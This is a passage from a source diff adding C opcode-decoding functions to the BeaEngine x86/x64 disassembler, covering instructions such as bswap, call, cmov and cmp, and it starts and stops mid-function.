BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[6+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[6+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_edi(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[7+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[7+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[7+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[7+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + +/* ======================================= + * 0fbch + * ======================================= */ +void __bea_callspec__ bsf_GvEv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bsf "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,9); +} + +/* ======================================= + * 0fbdh + * ======================================= */ +void __bea_callspec__ bsr_GvEv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bsr "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,9); +} + +/* ======================================= + * 0fbbh + * ======================================= */ +void __bea_callspec__ btc_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btc "); + #endif + EvGv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,11); +} + +/* ======================================= + * 0fa3h + * ======================================= */ +void __bea_callspec__ bt_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bt "); + #endif + EvGv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,11); +} + +/* ======================================= + * 0fb3h + * ======================================= */ +void __bea_callspec__ btr_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btr "); + #endif + EvGv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,11); +} + +/* ======================================= + * 0fabh + * ======================================= */ +void __bea_callspec__ bts_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+BIT_UInt8; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bts "); + #endif + EvGv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,11); +} + +/* ======================================= + * e8h + * ======================================= */ +void __bea_callspec__ call_(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = CallType; + (*pMyDisasm).Argument1.ArgSize = GV.OperandSize; + (*pMyDisasm).Argument1.AccessMode = READ; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call "); + #endif + if (GV.OperandSize >= 32) { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1))+5+GV.NB_PREFIX; + CalculateRelativeAddress(&MyAddress,(Int64) MyNumber, pMyDisasm); + (*pMyDisasm).Instruction.AddrValue = MyAddress; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + if (MyAddress >= 0x80000000) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=5; + } + else { + if (!Security(3, pMyDisasm)) return; + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+1))+3+GV.NB_PREFIX; + CalculateRelativeAddress(&MyAddress,(Int64) MyNumber, pMyDisasm); + MyAddress = MyAddress & 0xffff; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+RELATIVE_; + (*pMyDisasm).Instruction.AddrValue = MyAddress; + GV.EIP_+=3; + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ callf_(PDISASM pMyDisasm) +{ + UInt32 MyNumber; + UInt64 MyAddress; + size_t i = 0; + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + (*pMyDisasm).Instruction.BranchType = CallType; + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lcall "); + #endif + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic,"\x24"); + #endif + i++; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call far "); + #endif + } + if (GV.OperandSize ==32) { + if (!Security(7, pMyDisasm)) return; + MyNumber = *((UInt16*)(UIntPtr) (GV.EIP_+5)); + #ifndef BEA_LIGHT_DISASSEMBLY + i += CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i, "%.4X",(Int64) MyNumber); + #endif + } + else { + if (!Security(5, pMyDisasm)) return; + MyNumber = *((UInt16*)(UIntPtr) (GV.EIP_+3)); + #ifndef BEA_LIGHT_DISASSEMBLY + i += CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i, "%.4X",(Int64) MyNumber); + #endif + } + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic+i, " , \x24"); + #endif + i+=4; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic+i, " : "); + #endif + i+=3; + } + MyAddress = MyNumber*16; + MyNumber = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + if (GV.OperandSize == 16) { + MyNumber = MyNumber & 0xffff; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i += CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument1.ArgMnemonic+i, "%.8X",(Int64) MyNumber); + #endif + if (GV.OperandSize == 32) { + GV.EIP_+=7; + } + else { + GV.EIP_+=5; + } + (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG4; + (*pMyDisasm).Instruction.AddrValue = MyAddress + MyNumber; + } +} + +/* ======================================= + * 99h + * ======================================= */ +void __bea_callspec__ cdq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0+REG3; + if (GV.OperandSize == 64) { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cqto "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cqo "); + #endif + } + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.OperandSize ==32) { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cltd "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cdq "); + #endif + } + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwtd "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwd "); + #endif + } + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ clts_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clts "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+CR_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 17); + GV.EIP_++; +} + + +/* ======================================= + * F5h + * ======================================= */ +void __bea_callspec__ cmc_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmc "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 18); + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovo_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovo "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovno_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovno "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovb "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovnb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnb "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmove_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmove "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovne_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovne "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovbe_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovbe "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovnbe_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnbe "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovs_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovs "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovns_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovns "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovp_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovp "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovnp_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnp "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovl_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovl "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovnl_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnl "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovle_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovle "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmovnle_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmovnle "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm, 19); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmpx_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,22); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cmpx_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,22); +} + +/* ======================================= + * 38h + * ======================================= */ +void __bea_callspec__ cmp_EbGb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + EbGb(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,20); +} + +/* ======================================= + * 39h + * ======================================= */ +void __bea_callspec__ cmp_EvGv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + EvGv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,20); +} + +/* ======================================= + * 3ah + * ======================================= */ +void __bea_callspec__ cmp_GbEb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + GbEb(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,20); +} + +/* ======================================= + * 3bh + * ======================================= */ +void __bea_callspec__ cmp_GvEv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + GvEv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,20); +} + +/* ======================================= + * 3ch + * ======================================= */ +void __bea_callspec__ cmp_ALIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + ALIb(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,20); +} + +/* ======================================= + * 3dh + * ======================================= */ +void __bea_callspec__ cmp_eAX_Iv(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmp "); + #endif + eAX_Iv(pMyDisasm); + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,20); +} + +/* ======================================= + * a6h + * ======================================= */ +void __bea_callspec__ cmpsb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsb "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + FillFlags(pMyDisasm,21); + GV.EIP_++; +} + +/* ======================================= + * a7h + * ======================================= */ +void __bea_callspec__ cmps_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.AccessMode = READ; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + if (GV.Architecture == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsq "); + #endif + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsd "); + #endif + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpsw "); + #endif + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + FillFlags(pMyDisasm,21); + GV.EIP_++; +} + +/* ======================================= + * 98h + * ======================================= */ +void __bea_callspec__ cwde_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + if (GV.OperandSize == 64) { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cltq "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cdqe "); + #endif + } + (*pMyDisasm).Argument1.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwtl "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cwde "); + #endif + } + (*pMyDisasm).Argument1.ArgSize = 32; + } + else { + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cbtw "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cbw "); + #endif + } + (*pMyDisasm).Argument1.ArgSize = 16; + } + GV.EIP_++; +} + +/* ======================================= + * f8h + * ======================================= */ +void __bea_callspec__ clc_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clc "); + #endif + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 14); + GV.EIP_++; +} + +/* ======================================= + * f8h + * ======================================= */ +void __bea_callspec__ cld_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+FLAG_CONTROL_INSTRUCTION; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+SPECIAL_REG+REG0; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cld "); + #endif + (*pMyDisasm).Argument1.ArgSize = 1; + FillFlags(pMyDisasm, 15); + GV.EIP_++; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ cli_(PDISASM pMyDisasm) +{ + 